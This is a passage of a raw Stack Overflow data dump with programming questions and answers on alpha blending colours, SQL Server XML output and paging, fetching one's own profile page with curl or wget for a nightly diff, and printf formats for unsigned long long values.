**Additional Notes** When I get some time I'm going to change `0.50000004` to `'12:00:00.003'` and see how it does. It is converted to the same `datetime` value and I find it much easier to remember. For those interested, the above tests were run on a server where @@Version returns the following: > > Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) Jul 9 2008 14:43:34 Copyright (c) 1988-2008 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) > > >
2,780
<p>Let's say that we have an ARGB color:</p> <pre><code>Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. </code></pre> <p>When this is painted on top of an existing color, the colors will blend. So when it is blended with white, the resulting color is <code>Color.FromARGB(255, 162, 133, 255);</code></p> <p>The solution should work like this:</p> <pre><code>Color blend = Color.White; Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. Color rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255); </code></pre> <p>What is <code>ToRGB</code>'s implementation? </p>
[ { "answer_id": 2789, "author": "Louis Brandy", "author_id": 2089740, "author_profile": "https://Stackoverflow.com/users/2089740", "pm_score": 5, "selected": true, "text": "<p>It's called <a href=\"http://en.wikipedia.org/wiki/Alpha_compositing\" rel=\"noreferrer\">alpha blending</a>.</p>\n\n<p>In psuedocode, assuming the background color (blend) always has 255 alpha. Also assumes alpha is 0-255.</p>\n\n<pre><code>alpha=argb.alpha()\nr = (alpha/255)*argb.r() + (1 - alpha/255)*blend.r()\ng = (alpha/255)*argb.g() + (1 - alpha/255)*blend.g()\nb = (alpha/255)*argb.b() + (1 - alpha/255)*blend.b()\n</code></pre>\n\n<p><em>note: you probably need to be a bit (more) careful about floating-point/int math and rounding issues, depending on language. Cast intermediates accordingly</em></p>\n\n<p><strong>Edited to add:</strong></p>\n\n<p>If you don't have a background color with an alpha of 255, the algebra gets alot more complicated. I've done it before and it's a fun exercise left to the reader (if you really need to know, ask another question :). </p>\n\n<p>In other words, what color C blends into some background the same as blending A, then blending B. This is sort of like calculating A+B (which isn't the same as B+A).</p>\n" }, { "answer_id": 3129, "author": "Matt Dawdy", "author_id": 232, "author_profile": "https://Stackoverflow.com/users/232", "pm_score": 2, "selected": false, "text": "<p>if you don't need to know this pre-render, you could always use the win32 method of getpixel, I believe. </p>\n\n<p>Note: typing on iPhone in the middle of Missouri with no inet access. Will look up real win32 example and see if there is a .net equivalent.</p>\n\n<p>In case anyone cares, and doesn't want to use the (excellent) answer posted above, you can get the color value of a pixel in .Net via this link <a href=\"http://msdn.microsoft.com/en-us/library/system.drawing.bitmap.getpixel.aspx\" rel=\"nofollow noreferrer\">MSDN example</a></p>\n" }, { "answer_id": 17318104, "author": "Paul Ishak", "author_id": 1532865, "author_profile": "https://Stackoverflow.com/users/1532865", "pm_score": 2, "selected": false, "text": "<p>I know this is an old thread, but I want to add this:</p>\n\n<pre><code>Public Shared Function AlphaBlend(ByVal ForeGround As Color, ByVal BackGround As Color) As Color\n If ForeGround.A = 0 Then Return BackGround\n If BackGround.A = 0 Then Return ForeGround\n If ForeGround.A = 255 Then Return ForeGround\n Dim Alpha As Integer = CInt(ForeGround.A) + 1\n Dim B As Integer = Alpha * ForeGround.B + (255 - Alpha) * BackGround.B &gt;&gt; 8\n Dim G As Integer = Alpha * ForeGround.G + (255 - Alpha) * BackGround.G &gt;&gt; 8\n Dim R As Integer = Alpha * ForeGround.R + (255 - Alpha) * BackGround.R &gt;&gt; 8\n Dim A As Integer = ForeGround.A\n\n If BackGround.A = 255 Then A = 255\n If A &gt; 255 Then A = 255\n If R &gt; 255 Then R = 255\n If G &gt; 255 Then G = 255\n If B &gt; 255 Then B = 255\n\n Return Color.FromArgb(Math.Abs(A), Math.Abs(R), Math.Abs(G), Math.Abs(B))\nEnd Function\n\npublic static Color AlphaBlend(Color ForeGround, Color BackGround)\n{\n if (ForeGround.A == 0)\n return BackGround;\n if (BackGround.A == 0)\n return ForeGround;\n if (ForeGround.A == 255)\n return ForeGround;\n\n int Alpha = Convert.ToInt32(ForeGround.A) + 1;\n int B = Alpha * ForeGround.B + (255 - Alpha) * BackGround.B &gt;&gt; 8;\n int G = Alpha * ForeGround.G + (255 - Alpha) * BackGround.G &gt;&gt; 8;\n int R = Alpha * ForeGround.R + (255 - Alpha) * BackGround.R &gt;&gt; 8;\n int A = ForeGround.A;\n\n if (BackGround.A == 255)\n A = 255;\n if (A &gt; 255)\n A = 255;\n if (R &gt; 255)\n R = 255;\n if (G &gt; 255)\n G = 255;\n if (B &gt; 255)\n B = 255;\n\n return Color.FromArgb(Math.Abs(A), Math.Abs(R), Math.Abs(G), Math.Abs(B));\n}\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2780", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45/" ]
Let's say that we have an ARGB color: ``` Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. ``` When this is painted on top of an existing color, the colors will blend. So when it is blended with white, the resulting color is `Color.FromARGB(255, 162, 133, 255);` The solution should work like this: ``` Color blend = Color.White; Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. Color rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255); ``` What is `ToRGB`'s implementation?
It's called [alpha blending](http://en.wikipedia.org/wiki/Alpha_compositing). In psuedocode, assuming the background color (blend) always has 255 alpha. Also assumes alpha is 0-255. ``` alpha=argb.alpha() r = (alpha/255)*argb.r() + (1 - alpha/255)*blend.r() g = (alpha/255)*argb.g() + (1 - alpha/255)*blend.g() b = (alpha/255)*argb.b() + (1 - alpha/255)*blend.b() ``` *note: you probably need to be a bit (more) careful about floating-point/int math and rounding issues, depending on language. Cast intermediates accordingly* **Edited to add:** If you don't have a background color with an alpha of 255, the algebra gets alot more complicated. I've done it before and it's a fun exercise left to the reader (if you really need to know, ask another question :). In other words, what color C blends into some background the same as blending A, then blending B. This is sort of like calculating A+B (which isn't the same as B+A).
2,811
<p>I have a table with a structure like the following:</p> <hr /> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>LocationID</th> <th>AccountNumber</th> </tr> </thead> <tbody> <tr> <td>long-guid-here</td> <td>12345</td> </tr> <tr> <td>long-guid-here</td> <td>54321</td> </tr> </tbody> </table> </div> <p>To pass into another stored procedure, I need the XML to look like this:</p> <pre><code>&lt;root&gt; &lt;clientID&gt;12345&lt;/clientID&gt; &lt;clientID&gt;54321&lt;/clientID&gt; &lt;/root&gt; </code></pre> <p>The best I've been able to do so far was getting it like this:</p> <pre><code>&lt;root clientID=&quot;10705&quot;/&gt; </code></pre> <p>I'm using this SQL statement:</p> <pre><code>SELECT 1 as tag, null as parent, AccountNumber as 'root!1!clientID' FROM Location.LocationMDAccount WHERE locationid = 'long-guid-here' FOR XML EXPLICIT </code></pre> <p>So far, I've looked at the documentation on <a href="http://msdn.microsoft.com/en-us/library/ms345137.aspx" rel="nofollow noreferrer">the MSDN page</a>, but I've not come out with the desired results.</p> <hr /> <p>@KG,</p> <p>Yours gave me this output actually:</p> <pre><code>&lt;root&gt; &lt;Location.LocationMDAccount&gt; &lt;clientId&gt;10705&lt;/clientId&gt; &lt;/Location.LocationMDAccount&gt; &lt;/root&gt; </code></pre> <p>I'm going to stick with the <code>FOR XML EXPLICIT</code> from Chris Leon for now.</p>
[ { "answer_id": 2825, "author": "Chris Leon", "author_id": 289, "author_profile": "https://Stackoverflow.com/users/289", "pm_score": 3, "selected": true, "text": "<p>try</p>\n\n<pre><code>SELECT\n 1 AS Tag,\n 0 AS Parent,\n AccountNumber AS [Root!1!AccountNumber!element]\nFROM\n Location.LocationMDAccount\nWHERE\n LocationID = 'long-guid-here'\nFOR XML EXPLICIT\n</code></pre>\n" }, { "answer_id": 2832, "author": "karlgrz", "author_id": 318, "author_profile": "https://Stackoverflow.com/users/318", "pm_score": 0, "selected": false, "text": "<p>Try this, Chris:</p>\n\n<pre><code>SELECT\n AccountNumber as [clientId]\nFROM\n Location.Location root\nWHERE\n LocationId = 'long-guid-here'\nFOR\n XML AUTO, ELEMENTS\n</code></pre>\n\n<p>TERRIBLY SORRY! I mixed up what you were asking for. I prefer the XML AUTO just for ease of maintainance, but I believe either one is effective. My apologies for the oversight ;-)</p>\n" }, { "answer_id": 2834, "author": "Chris Benard", "author_id": 448, "author_profile": "https://Stackoverflow.com/users/448", "pm_score": 0, "selected": false, "text": "<p>I got it with:</p>\n\n<pre><code>select\n1 as tag,\nnull as parent,\nAccountNumber as 'root!1!clientID!element'\nfrom\nLocation.LocationMDAccount\nwhere\nlocationid = 'long-guid-here'\nfor xml explicit\n</code></pre>\n" }, { "answer_id": 13536, "author": "jeffreypriebe", "author_id": 1592, "author_profile": "https://Stackoverflow.com/users/1592", "pm_score": 0, "selected": false, "text": "<p>Using SQL Server 2005 (or presumably 2008) I find for XML PATH to allow for much easier to maintain SQL than for XML Explicit (particularly once the SQL is longer).</p>\n\n<p>In this case:</p>\n\n<pre><code>SELECT AccountNumber as \"clientID\"\nFROM Location.LocationMDAccount\nWHERE locationid = 'long-guid-here'\nFOR XML PATH (''), Root ('root');\n</code></pre>\n" }, { "answer_id": 7953073, "author": "Asher", "author_id": 156470, "author_profile": "https://Stackoverflow.com/users/156470", "pm_score": 0, "selected": false, "text": "<pre>\nSELECT 1 as tag,\n null as parent,\n AccountNumber as 'clientID!1!!element'\nFROM Location.LocationMDAccount\nWHERE locationid = 'long-guid-here'\nFOR XML EXPLICIT, root('root')\n</pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2811", "https://Stackoverflow.com", "https://Stackoverflow.com/users/448/" ]
I have a table with a structure like the following: --- | LocationID | AccountNumber | | --- | --- | | long-guid-here | 12345 | | long-guid-here | 54321 | To pass into another stored procedure, I need the XML to look like this: ``` <root> <clientID>12345</clientID> <clientID>54321</clientID> </root> ``` The best I've been able to do so far was getting it like this: ``` <root clientID="10705"/> ``` I'm using this SQL statement: ``` SELECT 1 as tag, null as parent, AccountNumber as 'root!1!clientID' FROM Location.LocationMDAccount WHERE locationid = 'long-guid-here' FOR XML EXPLICIT ``` So far, I've looked at the documentation on [the MSDN page](http://msdn.microsoft.com/en-us/library/ms345137.aspx), but I've not come out with the desired results. --- @KG, Yours gave me this output actually: ``` <root> <Location.LocationMDAccount> <clientId>10705</clientId> </Location.LocationMDAccount> </root> ``` I'm going to stick with the `FOR XML EXPLICIT` from Chris Leon for now.
try ``` SELECT 1 AS Tag, 0 AS Parent, AccountNumber AS [Root!1!AccountNumber!element] FROM Location.LocationMDAccount WHERE LocationID = 'long-guid-here' FOR XML EXPLICIT ```
2,815
<p>I would like to make a nightly cron job that fetches my stackoverflow page and diffs it from the previous day's page, so I can see a change summary of my questions, answers, ranking, etc.</p> <p>Unfortunately, I couldn't get the right set of cookies, etc, to make this work. Any ideas?</p> <p>Also, when the beta is finished, will my status page be accessible without logging in?</p>
[ { "answer_id": 2818, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": 2, "selected": false, "text": "<p>Nice idea :)</p>\n\n<p>I presume you've used wget's</p>\n\n<pre><code>--load-cookies (filename)\n</code></pre>\n\n<p>might help a little but it might be easier to use something like Mechanize (in Perl or python) to mimic a browser more fully to get a good spider.</p>\n" }, { "answer_id": 2819, "author": "Grant", "author_id": 30, "author_profile": "https://Stackoverflow.com/users/30", "pm_score": 4, "selected": true, "text": "<p>Your status page is available now without logging in (click <a href=\"https://stackoverflow.com/users/logout?returnurl=%2fquestions%2f2815%2fhow-to-curl-or-wget-a-stackoverflow-page\">logout</a> and try it). When the beta-cookie is disabled, there will be nothing between you and your status page.</p>\n\n<p>For wget:</p>\n\n<pre><code>wget --no-cookies --header \"Cookie: soba=(LookItUpYourself)\" https://stackoverflow.com/users/30/myProfile.html\n</code></pre>\n" }, { "answer_id": 2822, "author": "Ryan Ahearn", "author_id": 75, "author_profile": "https://Stackoverflow.com/users/75", "pm_score": 2, "selected": false, "text": "<p>I couldn't figure out how to get the cookies to work either, but I was able to get to my status page in my browser while I was logged out, so I assume this will work once stackoverflow goes public.</p>\n\n<p>This is an interesting idea, but won't you also pick up diffs of the underlying html code? Do you have a strategy to avoid ending up with a diff of the html and not the actual content?</p>\n" }, { "answer_id": 2878, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 2, "selected": false, "text": "<p>And here's what works...</p>\n\n<pre><code>curl -s --cookie soba=. http://stackoverflow.com/users\n</code></pre>\n" }, { "answer_id": 2920, "author": "Grant", "author_id": 30, "author_profile": "https://Stackoverflow.com/users/30", "pm_score": 3, "selected": false, "text": "<p>From <a href=\"https://stackoverflow.com/questions/2815/#2878\">Mark Harrison</a></p>\n<blockquote>\n<p>And here's what works...</p>\n<p>curl -s --cookie soba=. <a href=\"https://stackoverflow.com/users\">https://stackoverflow.com/users</a></p>\n</blockquote>\n<p>And for wget:</p>\n<pre><code>wget --no-cookies --header &quot;Cookie: soba=(LookItUpYourself)&quot; https://stackoverflow.com/users/30/myProfile.html\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/116/" ]
I would like to make a nightly cron job that fetches my stackoverflow page and diffs it from the previous day's page, so I can see a change summary of my questions, answers, ranking, etc. Unfortunately, I couldn't get the right set of cookies, etc, to make this work. Any ideas? Also, when the beta is finished, will my status page be accessible without logging in?
Your status page is available now without logging in (click [logout](https://stackoverflow.com/users/logout?returnurl=%2fquestions%2f2815%2fhow-to-curl-or-wget-a-stackoverflow-page) and try it). When the beta-cookie is disabled, there will be nothing between you and your status page. For wget: ``` wget --no-cookies --header "Cookie: soba=(LookItUpYourself)" https://stackoverflow.com/users/30/myProfile.html ```
2,840
<p>How do I page results in SQL Server 2005?</p> <p>I tried it in SQL Server 2000, but there was no reliable way to do this. I'm now wondering if SQL Server 2005 has any built in method?</p> <p>What I mean by paging is, for example, if I list users by their username, I want to be able to only return the first 10 records, then the next 10 records and so on.</p> <p>Any help would be much appreciated.</p>
[ { "answer_id": 2843, "author": "Pat", "author_id": 36, "author_profile": "https://Stackoverflow.com/users/36", "pm_score": 6, "selected": true, "text": "<p>You can use <code>the Row_Number()</code> function.\nIts used as follows:</p>\n\n<pre><code>SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName\nFROM Users\n</code></pre>\n\n<p>From which it will yield a result set with a <code>RowID</code> field which you can use to page between.</p>\n\n<pre><code>SELECT * \nFROM \n ( SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName\n FROM Users \n ) As RowResults\nWHERE RowID Between 5 AND 10\n</code></pre>\n\n<p>etc</p>\n" }, { "answer_id": 2855, "author": "Pat", "author_id": 36, "author_profile": "https://Stackoverflow.com/users/36", "pm_score": 0, "selected": false, "text": "<p>I believe you'd need to perform a separate query to accomplish that unfortionately.</p>\n\n<p>I was able to accomplish this at my previous position using some help from this page:\n<a href=\"https://web.archive.org/web/20210510021915/http://aspnet.4guysfromrolla.com/articles/031506-1.aspx\" rel=\"nofollow noreferrer\">Paging in DotNet 2.0</a></p>\n\n<p>They also have it pulling a row count seperately.</p>\n" }, { "answer_id": 9870, "author": "Eric Z Beard", "author_id": 1219, "author_profile": "https://Stackoverflow.com/users/1219", "pm_score": 0, "selected": false, "text": "<p>Here's what I do for paging: All of my big queries that need to be paged are coded as inserts into a temp table. The temp table has an identity field that will act in a similar manner to the row_number() mentioned above. I store the number of rows in the temp table in an output parameter so the calling code knows how many total records there are. The calling code also specifies which page it wants, and how many rows per page, which are selected out from the temp table.</p>\n\n<p>The cool thing about doing it this way is that I also have an \"Export\" link that allows you to get all rows from the report returned as CSV above every grid in my application. This link uses the same stored procedure: you just return the contents of the temp table instead of doing the paging logic. This placates users who hate paging, and want to see <em>everything</em>, and want to sort it in a million different ways.</p>\n" }, { "answer_id": 11352, "author": "Brian", "author_id": 700, "author_profile": "https://Stackoverflow.com/users/700", "pm_score": 4, "selected": false, "text": "<p>If you're trying to get it in one statement (the total plus the paging). You might need to explore SQL Server support for the partition by clause (windowing functions in ANSI SQL terms). In Oracle the syntax is just like the example above using row_number(), but I have also added a partition by clause to get the total number of rows included with each row returned in the paging (total rows is 1,262):</p>\n\n<pre><code>SELECT rn, total_rows, x.OWNER, x.object_name, x.object_type\nFROM (SELECT COUNT (*) OVER (PARTITION BY owner) AS TOTAL_ROWS,\n ROW_NUMBER () OVER (ORDER BY 1) AS rn, uo.*\n FROM all_objects uo\n WHERE owner = 'CSEIS') x\nWHERE rn BETWEEN 6 AND 10\n</code></pre>\n\n<p>Note that I have where owner = 'CSEIS' and my partition by is on owner. So the results are:</p>\n\n<pre><code>RN TOTAL_ROWS OWNER OBJECT_NAME OBJECT_TYPE\n6 1262 CSEIS CG$BDS_MODIFICATION_TYPES TRIGGER\n7 1262 CSEIS CG$AUS_MODIFICATION_TYPES TRIGGER\n8 1262 CSEIS CG$BDR_MODIFICATION_TYPES TRIGGER\n9 1262 CSEIS CG$ADS_MODIFICATION_TYPES TRIGGER\n10 1262 CSEIS CG$BIS_LANGUAGES TRIGGER\n</code></pre>\n" }, { "answer_id": 74129, "author": "Andrew Burgess", "author_id": 12096, "author_profile": "https://Stackoverflow.com/users/12096", "pm_score": 2, "selected": false, "text": "<p>When I need to do paging, I typically use a temporary table as well. You can use an output parameter to return the total number of records. The case statements in the select allow you to sort the data on specific columns without needing to resort to dynamic SQL.</p>\n\n<pre><code>--Declaration--\n\n--Variables\n@StartIndex INT,\n@PageSize INT,\n@SortColumn VARCHAR(50),\n@SortDirection CHAR(3),\n@Results INT OUTPUT\n\n--Statements--\nSELECT @Results = COUNT(ID) FROM Customers\nWHERE FirstName LIKE '%a%'\n\nSET @StartIndex = @StartIndex - 1 --Either do this here or in code, but be consistent\nCREATE TABLE #Page(ROW INT IDENTITY(1,1) NOT NULL, id INT, sorting_1 SQL_VARIANT, sorting_2 SQL_VARIANT)\nINSERT INTO #Page(ID, sorting_1, sorting_2)\nSELECT TOP (@StartIndex + @PageSize)\n ID,\n CASE\n WHEN @SortColumn='FirstName' AND @SortDirection='ASC' THEN CAST(FirstName AS SQL_VARIANT)\n WHEN @SortColumn='LastName' AND @SortDirection='ASC' THEN CAST(LastName AS SQL_VARIANT)\n ELSE NULL\n END AS sort_1,\n CASE\n WHEN @SortColumn='FirstName' AND @SortDirection='DES' THEN CAST(FirstName AS SQL_VARIANT)\n WHEN @SortColumn='LastName' AND @SortDirection='DES' THEN CAST(LastName AS SQL_VARIANT)\n ELSE NULL\n END AS sort_2\nFROM (\n SELECT\n CustomerId AS ID,\n FirstName,\n LastName\n FROM Customers\n WHERE\n FirstName LIKE '%a%'\n) C\nORDER BY sort_1 ASC, sort_2 DESC, ID ASC;\n\nSELECT\n ID,\n Customers.FirstName,\n Customers.LastName\nFROM #Page\nINNER JOIN Customers ON\n ID = Customers.CustomerId\nWHERE ROW &gt; @StartIndex AND ROW &lt;= (@StartIndex + @PageSize)\nORDER BY ROW ASC\n\nDROP TABLE #Page\n</code></pre>\n" }, { "answer_id": 752940, "author": "Beska", "author_id": 57120, "author_profile": "https://Stackoverflow.com/users/57120", "pm_score": 3, "selected": false, "text": "<p>The accepted answer for this doesn't actually work for me...I had to jump through one more hoop to get it to work.</p>\n\n<p>When I tried the answer</p>\n\n<pre><code>SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName\nFROM Users\nWHERE RowID Between 0 AND 9\n</code></pre>\n\n<p>it failed, complaining that it didn't know what RowID was.</p>\n\n<p>I had to wrap it in an inner select like this:</p>\n\n<pre><code>SELECT * \nFROM\n (SELECT\n Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName\n FROM Users\n ) innerSelect\nWHERE RowID Between 0 AND 9\n</code></pre>\n\n<p>and then it worked.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2840", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
How do I page results in SQL Server 2005? I tried it in SQL Server 2000, but there was no reliable way to do this. I'm now wondering if SQL Server 2005 has any built in method? What I mean by paging is, for example, if I list users by their username, I want to be able to only return the first 10 records, then the next 10 records and so on. Any help would be much appreciated.
You can use `the Row_Number()` function. Its used as follows: ``` SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName FROM Users ``` From which it will yield a result set with a `RowID` field which you can use to page between. ``` SELECT * FROM ( SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName FROM Users ) As RowResults WHERE RowID Between 5 AND 10 ``` etc
2,844
<pre><code>#include &lt;stdio.h&gt; int main() { unsigned long long int num = 285212672; //FYI: fits in 29 bits int normalInt = 5; printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt); return 0; } </code></pre> <p>Output:</p> <pre><code>My number is 8 bytes wide and its value is 285212672l. A normal number is 0. </code></pre> <p>I assume this unexpected result is from printing the <code>unsigned long long int</code>. How do you <code>printf()</code> an <code>unsigned long long int</code>?</p>
[ { "answer_id": 2850, "author": "John Downey", "author_id": 200, "author_profile": "https://Stackoverflow.com/users/200", "pm_score": 10, "selected": true, "text": "<p>Use the ll (el-el) long-long modifier with the u (unsigned) conversion. (Works in windows, GNU).</p>\n\n<pre><code>printf(\"%llu\", 285212672);\n</code></pre>\n" }, { "answer_id": 2851, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": 1, "selected": false, "text": "<p>Non-standard things are always strange :)</p>\n\n<p>for the long long portion\nunder GNU it's <code>L</code>, <code>ll</code> or <code>q</code></p>\n\n<p>and under windows I believe it's <code>ll</code> only</p>\n" }, { "answer_id": 2895, "author": "vzczc", "author_id": 224, "author_profile": "https://Stackoverflow.com/users/224", "pm_score": 0, "selected": false, "text": "<p>Well, one way is to compile it as x64 with VS2008</p>\n\n<p>This runs as you would expect:</p>\n\n<pre><code>int normalInt = 5; \nunsigned long long int num=285212672;\nprintf(\n \"My number is %d bytes wide and its value is %ul. \n A normal number is %d \\n\", \n sizeof(num), \n num, \n normalInt);\n</code></pre>\n\n<p>For 32 bit code, we need to use the correct __int64 format specifier %I64u. So it becomes. </p>\n\n<pre><code>int normalInt = 5; \nunsigned __int64 num=285212672;\nprintf(\n \"My number is %d bytes wide and its value is %I64u. \n A normal number is %d\", \n sizeof(num),\n num, normalInt);\n</code></pre>\n\n<p>This code works for both 32 and 64 bit VS compiler.</p>\n" }, { "answer_id": 8679, "author": "Nathan Fellman", "author_id": 1084, "author_profile": "https://Stackoverflow.com/users/1084", "pm_score": 7, "selected": false, "text": "<p>You may want to try using the inttypes.h library that gives you types such as\n<code>int32_t</code>, <code>int64_t</code>, <code>uint64_t</code> etc.\nYou can then use its macros such as:</p>\n<pre><code>#include &lt;inttypes.h&gt;\n\nuint64_t x;\nuint32_t y;\n\nprintf(&quot;x: %&quot;PRIu64&quot;, y: %&quot;PRIu32&quot;\\n&quot;, x, y);\n</code></pre>\n<p>This is &quot;guaranteed&quot; to not give you the same trouble as <code>long</code>, <code>unsigned long long</code> etc, since you don't have to guess how many bits are in each data type.</p>\n" }, { "answer_id": 51366, "author": "Paul Hargreaves", "author_id": 5330, "author_profile": "https://Stackoverflow.com/users/5330", "pm_score": 5, "selected": false, "text": "<p>That is because %llu doesn't work properly under Windows and %d can't handle 64 bit integers. I suggest using PRIu64 instead and you'll find it's portable to Linux as well.</p>\n\n<p>Try this instead:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;inttypes.h&gt;\n\nint main() {\n unsigned long long int num = 285212672; //FYI: fits in 29 bits\n int normalInt = 5;\n /* NOTE: PRIu64 is a preprocessor macro and thus should go outside the quoted string. */\n printf(\"My number is %d bytes wide and its value is %\" PRIu64 \". A normal number is %d.\\n\", sizeof(num), num, normalInt);\n return 0;\n}\n</code></pre>\n\n<p>Output</p>\n\n<pre><code>My number is 8 bytes wide and its value is 285212672. A normal number is 5.\n</code></pre>\n" }, { "answer_id": 55586, "author": "Adam Pierce", "author_id": 5324, "author_profile": "https://Stackoverflow.com/users/5324", "pm_score": 4, "selected": false, "text": "<p>In Linux it is <code>%llu</code> and in Windows it is <code>%I64u</code></p>\n\n<p>Although I have found it doesn't work in Windows 2000, there seems to be a bug there!</p>\n" }, { "answer_id": 1385786, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 5, "selected": false, "text": "<p>For long long (or __int64) using MSVS, you should use %I64d:</p>\n\n<pre><code>__int64 a;\ntime_t b;\n...\nfprintf(outFile,\"%I64d,%I64d\\n\",a,b); //I is capital i\n</code></pre>\n" }, { "answer_id": 12833401, "author": "Sandy", "author_id": 517581, "author_profile": "https://Stackoverflow.com/users/517581", "pm_score": 3, "selected": false, "text": "<p>Compile it as x64 with VS2005:</p>\n\n<blockquote>\n <p>%llu works well.</p>\n</blockquote>\n" }, { "answer_id": 30221946, "author": "Shivam Chauhan", "author_id": 4080247, "author_profile": "https://Stackoverflow.com/users/4080247", "pm_score": 7, "selected": false, "text": "<p><code>%d</code>--> for <code>int</code></p>\n\n<p><code>%u</code>--> for <code>unsigned int</code></p>\n\n<p><code>%ld</code>--> for <code>long int</code> or <code>long</code></p>\n\n<p><code>%lu</code>--> for <code>unsigned long int</code> or <code>long unsigned int</code> or <code>unsigned long</code></p>\n\n<p><code>%lld</code>--> for <code>long long int</code> or <code>long long</code></p>\n\n<p><code>%llu</code>--> for <code>unsigned long long int</code> or <code>unsigned long long</code></p>\n" }, { "answer_id": 31635676, "author": "kungfooman", "author_id": 1952626, "author_profile": "https://Stackoverflow.com/users/1952626", "pm_score": 0, "selected": false, "text": "<p>Hex:</p>\n\n<pre><code>printf(\"64bit: %llp\", 0xffffffffffffffff);\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>64bit: FFFFFFFFFFFFFFFF\n</code></pre>\n" }, { "answer_id": 34838293, "author": "Bernd Elkemann", "author_id": 618598, "author_profile": "https://Stackoverflow.com/users/618598", "pm_score": 2, "selected": false, "text": "<p>In addition to what people wrote years ago:</p>\n\n<ul>\n<li>you might get this error on gcc/mingw:</li>\n</ul>\n\n<p><code>main.c:30:3: warning: unknown conversion type character 'l' in format [-Wformat=]</code></p>\n\n<p><code>printf(\"%llu\\n\", k);</code></p>\n\n<p>Then your version of mingw does not default to c99. Add this compiler flag: <code>-std=c99</code>.</p>\n" }, { "answer_id": 55306337, "author": "7vujy0f0hy", "author_id": 6314667, "author_profile": "https://Stackoverflow.com/users/6314667", "pm_score": 3, "selected": false, "text": "<p>Apparently no one has come up with a multi-platform* solution for <strong>over a decade</strong> since [the] year 2008, so I shall append mine . Plz upvote. (Joking. I don’t care.)</p>\n<h2>Solution: <code>lltoa()</code></h2>\n<p>How to use:</p>\n<pre><code>#include &lt;stdlib.h&gt; /* lltoa() */\n// ...\nchar dummy[255];\nprintf(&quot;Over 4 bytes: %s\\n&quot;, lltoa(5555555555, dummy, 10));\nprintf(&quot;Another one: %s\\n&quot;, lltoa(15555555555, dummy, 10));\n</code></pre>\n<p>OP’s example:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt; /* lltoa() */\n\nint main() {\n unsigned long long int num = 285212672; // fits in 29 bits\n char dummy[255];\n int normalInt = 5;\n printf(&quot;My number is %d bytes wide and its value is %s. &quot;\n &quot;A normal number is %d.\\n&quot;, \n sizeof(num), lltoa(num, dummy, 10), normalInt);\n return 0;\n}\n</code></pre>\n<p>Unlike the <code>%lld</code> print format string, this one works for me <strong>under 32-bit GCC on Windows.</strong></p>\n<p>*) Well, <em>almost</em> multi-platform. In MSVC, you apparently need <a href=\"https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/itoa-itow\" rel=\"nofollow noreferrer\"><code>_ui64toa()</code></a> instead of <a href=\"https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.bpxbd00/lltoa.htm\" rel=\"nofollow noreferrer\"><code>lltoa()</code></a>.</p>\n" }, { "answer_id": 66028620, "author": "chux - Reinstate Monica", "author_id": 2410359, "author_profile": "https://Stackoverflow.com/users/2410359", "pm_score": 3, "selected": false, "text": "<blockquote>\n<p>How do you format an <code>unsigned long long int</code> using <code>printf</code>?</p>\n</blockquote>\n<p>Since C99 use an <code>&quot;ll&quot;</code> (ell-ell) before the conversion specifiers <code>o,u,x,X</code>.</p>\n<p>In addition to base 10 options in many answers, there are base 16 and base 8 options:</p>\n<p>Choices include</p>\n<pre><code>unsigned long long num = 285212672;\nprintf(&quot;Base 10: %llu\\n&quot;, num);\nnum += 0xFFF; // For more interesting hex/octal output.\nprintf(&quot;Base 16: %llX\\n&quot;, num); // Use uppercase A-F\nprintf(&quot;Base 16: %llx\\n&quot;, num); // Use lowercase a-f\nprintf(&quot;Base 8: %llo\\n&quot;, num);\nputs(&quot;or 0x,0X prefix&quot;);\nprintf(&quot;Base 16: %#llX %#llX\\n&quot;, num, 0ull); // When non-zero, print leading 0X\nprintf(&quot;Base 16: %#llx %#llx\\n&quot;, num, 0ull); // When non-zero, print leading 0x\nprintf(&quot;Base 16: 0x%llX\\n&quot;, num); // My hex fave: lower case prefix, with A-F\n</code></pre>\n<p>Output</p>\n<pre><code>Base 10: 285212672\nBase 16: 11000FFF\nBase 16: 11000fff\nBase 8: 2100007777\nor 0x,0X prefix\nBase 16: 0X11000FFF 0\nBase 16: 0x11000fff 0\nBase 16: 0x11000FFF\n</code></pre>\n" }, { "answer_id": 73709670, "author": "ad absurdum", "author_id": 6879826, "author_profile": "https://Stackoverflow.com/users/6879826", "pm_score": 1, "selected": false, "text": "<p>One possibility for formatting an <code>unsigned long long</code> is to make use of 